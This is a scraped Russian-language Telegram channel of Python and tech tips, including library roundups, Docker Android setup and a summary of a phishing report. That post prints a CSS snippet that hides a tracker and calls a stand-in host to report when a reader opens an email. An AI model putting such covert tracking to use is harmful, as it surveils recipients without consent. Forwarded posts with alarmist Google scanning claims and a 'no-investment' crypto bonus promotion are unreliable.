Python заметки
70 subscribers
70 photos
7 files
35 links
Download Telegram
Максимально простой способ запустить ОС Android на обычном PC на базе ОС Linux

Есть проект redroid (Remote anDroid), он позволяет запускать Android в Docker контейнере на базе Ubuntu, поддерживая версии Android с 8.1 до 15. Шаги по установке:

1. Установите дополнительные модули ядра:
sudo apt install linux-modules-extra-$(uname -r)

2. Загрузите необходимые модули:
sudo modprobe binder_linux devices="binder,hwbinder,vndbinder"
sudo modprobe ashmem_linux

3. Запустите контейнер с Android:
sudo docker run -itd --privileged \
-v ~/data:/data \
-p 5555:5555 \
redroid/redroid:15.0.0-latest

Для подключения к контейнеру используйте scrcpy — это удобная и простая в использовании программа. Она отлично работает на Windows для подключения как к реальным смартфонам, так и к Android в Docker. Отклик хороший, и даже в игры можно играть без задержек
👍2🔥2
ChatGPT теперь позволяет создавать приложения на React и HTML прямо в браузере

Для этого достаточно добавить команду «/canvas» в конце запроса, и ChatGPT мгновенно сгенерирует рабочее приложение, которое можно сразу протестировать
👍2🔥2
Способ редактирования страниц прямо в браузере с помощью designMode

Эта функция позволяет быстро изменить содержимое страницы, оценить, как интерфейс выглядит с вашими изменениями. Как использовать:

1. Нажмите F12, чтобы открыть DevTools
2. Перейдите в Console
3. Введите команду: document.designMode = "on"

После этого можно закрыть DevTools и свободно редактировать страницу: изменять текст, изображения и другие элементы

Поддерживается во всех современных браузерах
👍1🔥1
1🔥1
Forwarded from Usman's Laboratory (Mr. Не кто [ Усман ])
🌐 Google тайно установил более миллиарду пользователей Android приложение, которое сканирует все ваши файлы на наличие запрещённого контента, есть большая вероятность что туда попадут и пароли с логинами. Все это ради якобы *безопасности*.

Android System SafetyCore появился на огромном числе устройств без предварительного уведомления и какого-либо согласия пользователей

Это НОВОЕ системное приложение от Google. Оно выполняет локальную проверку файлов.

Результаты сканирования, которые теоретически могут быть переданы Google, например, для рекламы и таргетинга. 👎

Приложение можно отключить или удалить: Настройки → Приложения → Все приложения → Android System SafetyCore.

Кстати, не только 18+ контент! Но и одна из основных причин этому - криптокошельки.
Многие люди хранят скриншоты со seed-фразами, которые необходимы для доступа к криптокошельку.

НЕ советую хранить секретные фразы скриншотами

Информация взята с трех источников.

Ставим реакции - едем дальше.
💚🖤💙💚🖤💙💚🖤💙💚🖤💙
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2🔥2
⚙️ types.new_class()

types.new_class() позволяет динамически создавать новые классы во время выполнения программы. Это полезно для метапрограммирования, создания классов с динамическими атрибутами и автоматической генерации API.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4👍1
🚀 Полезные библиотеки Python

💾 SeleniumBase

📌 Библиотека Python, которая расширяет стандартную библиотеку Selenium, добавляя удобные методы для автоматизации тестирования веб-приложений, выполнения скриптов и парсинга динамических страниц.

Особенности:

- Автоматизация тестирования без сложной настройки.

- Гибкие инструменты для взаимодействия с веб-страницами.

- Встроенная поддержка записи тестов и скриншотов.

- Поддержка работы с динамическим JavaScript-контентом.

ссылка
https://seleniumbase.io/
👍2🔥2
🚀 Полезные библиотеки Python

💾 Pure-Python-Adb

📌 Библиотека Python, позволяющая управлять физическими Android-устройствами, подключёнными к ПК, без необходимости установки adb. Она позволяет выполнять команды, управлять файлами и работать с экраном устройства.

Особенности:

- Работает без необходимости установки adb, использует Python-реализацию.

- Выполнение команд shell на устройстве.

- Перемещение файлов между ПК и Android.

- Захват скриншотов, управление приложениями и другие функции.
👍3🔥21
pathlib.Path.resolve()

Path.resolve() из модуля pathlib позволяет получить абсолютный путь к файлу или директории, автоматически обрабатывая символические ссылки и относительные пути. Это удобный способ работы с файловой системой в Python.
🔥3👍1
contextlib.suppress()

contextlib.suppress() позволяет временно подавлять определённые исключения в блоке кода. Это удобная альтернатива try-except, если нам не нужно обрабатывать ошибку, а просто игнорировать её.
👍2🔥2
Forwarded from Usman's Laboratory (Mr. Не кто [ Усман ])
Помните, я с Major вывел 200$ без вложений? Пригласил друзей и давай лутать бонусы, каждый день, без усилий.

Это был первый сезон...

Но, Major запустили 2 сезон
⚡️⚡️⚡️⚡️⚡️⚡️

Сейчас у всех нас, вторая возможность получить 200-300$ фактически ничего не делая, и самое главное без вложений 🦾

Заходим и играем, забираем все бонусы и лутаем деньги 💵

Сразу скажу, это НЕ СКАМ.
Мажор хотят сохранить свой токен на бирже, и поэтому раздают процент. 👍 Плюс ко всему, огромное сообщество! Прямо сейчас присоединяемся. И будьте одним из первых!

➡️ Забрать бонусы, ИГРАТЬ

Не забываем реакции 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3
gc.freeze() фиксирует все уже существующие объекты в памяти, исключая их из будущих сборок мусора. Это полезно для оптимизации долгоживущих процессов, например, серверов или CLI-приложений, снижая нагрузку на сборщик мусора.
👍3🔥2🤗1
Полезные библиотеки Python

💾 Jina

📌
Библиотека Python , для создания поисковых систем на основе ИИ, обработки изображений, текстов, аудио и видео с применением нейросетей. Используется для создания поиска по изображениям, чат-ботов, генерации контента и мультимодальных AI-систем.
👍4🔥2🤗1
🚀 Полезные библиотеки Python

💾 Plover

📌 Библиотека Python , которая превращает обычную клавиатуру в стенографический инструмент, позволяя вводить текст намного быстрее, чем при стандартном наборе. Используется профессиональными стенографистами, программистами и людьми, которым нужен сверхбыстрый ввод текста.

🔍 Особенности:

🚀 Позволяет вводить текст со скоростью 200-300 слов в минуту.
🔥 Работает на любой клавиатуре – без специального оборудования.
💡 Можно использовать для стенографии, быстрой работы с кодом, автозамены.
🌍 Используется профессиональными журналистами и программистами.
🔥3👍1🤗1
🚀 Полезные библиотеки Python

💾  DeepFaceLive

📌 Библиотека Python , для глубокого подмены лиц (deepfake) в режиме реального времени, работающая с веб-камерами, видео и стримами. Позволяет создавать реалистичные deepfake-видео, заменяя лицо на другой образ с высокой точностью.


🔍 Особенности:

🚀 Реальное deepfake-видео в режиме реального времени.
🔥 Работает с веб-камерами, OBS, Skype, Discord и стриминговыми платформами.
💡 Можно обучать кастомные модели и заменять лица на кого угодно.
🎥 Используется в киберспорте, контент-креаторами и в исследованиях AI.

https://github.com/iperov/DeepFaceLive
👍3🔥2🤡1🤗1
Полезные библиотеки Python

💾  PyMiniRacer

📍 Библиотека Python , которая позволяет выполнять JavaScript-код прямо из Python. Он быстрее execjs и node.js, что делает его отличным решением для работы с JavaScript-скриптами без необходимости поднимать полноценный сервер.


🔍 Особенности:

🚀 Быстрее execjs и не требует node.js.
🔥 Работает на встроенном движке V8, как Chrome.
💡 Позволяет запускать сложные JS-библиотеки в Python.
🌍 Идеален для работы с веб-технологиями, минификацией, шаблонизацией.
👍3🔥2🤡1🤗1
Эксперты из Cisco Talos обнаружили новую схему для фишинга.

Злоумышленники встраивают в HTML особый CSS-код, который помогает скрывать вредоносный контент, организовывать слежку и обходить детекцию. Скрытие достигается за счет использования CSS-свойств. Слежка осуществляется через @media-запросы, которые фиксируют изменение размеров окна, взаимодействие с письмом и другие параметры, передавая данные на сервер.

Пример кода, реализующего такой трекер: 
<style>
  .tracker { display: none; }
  @media (max-width: 600px) {
    .tracker { display: block; background: url('http://site.com/track?user=1'); }
  }
</style>
<div class="tracker"></div>


Этот код активируется при изменении размеров окна просмотра письма, например, при его открытии на мобильном устройстве, и инициирует скрытый запрос на сервер.

На самом деле, это НЕ КРИТИЧЕСКАЯ уязвимость.
Есть много ограничений в такой реализации.
Но факт в том, что такой код НЕ заметят большинство антитрекеров
.
Антитрекеры в основном проверяют только javascript.

Где можно найти такое?
Везде где есть html, это сайты, письма, веб-приложения и т.д.

📌 Tonnel Relayer bot - продавай и покупай nft telegram подарки 🔥

Ставим реакции - едем дальше.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3🤗2👍1🤡1
Узнаем ip сайта по url

`
# importing socket library
import socket

def get_hostname_IP():
    hostname = input("Please enter website address(URL):")
    try:
        print (f'Hostname: {hostname}')
        print (f'IP: {socket.gethostbyname(hostname)}')
    except socket.gaierror as error:
        print (f'Invalid Hostname, error raised is {error}')

get_hostname_IP()
4🔥2🤡1🤗1
💾  Pydoll

📍 Библиотека Python , которая переосмысливает автоматизацию браузеров на основе Chromium.

🔍 Особенности:

🌐 Отсутствует необходимость в WebDriver

🧑‍💻 Нативный обход капчи:

🎛 Асинхронная производительность

🧑‍💻 Человеко-подобные взаимодействия

🧨 Мощная система событий:

💻 Поддержка нескольких браузеров

⚙️ Установка 👇👇👇

pip install pydoll-python
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥2👌2👏1🤡1
🆒4😁2❤‍🔥1🔥1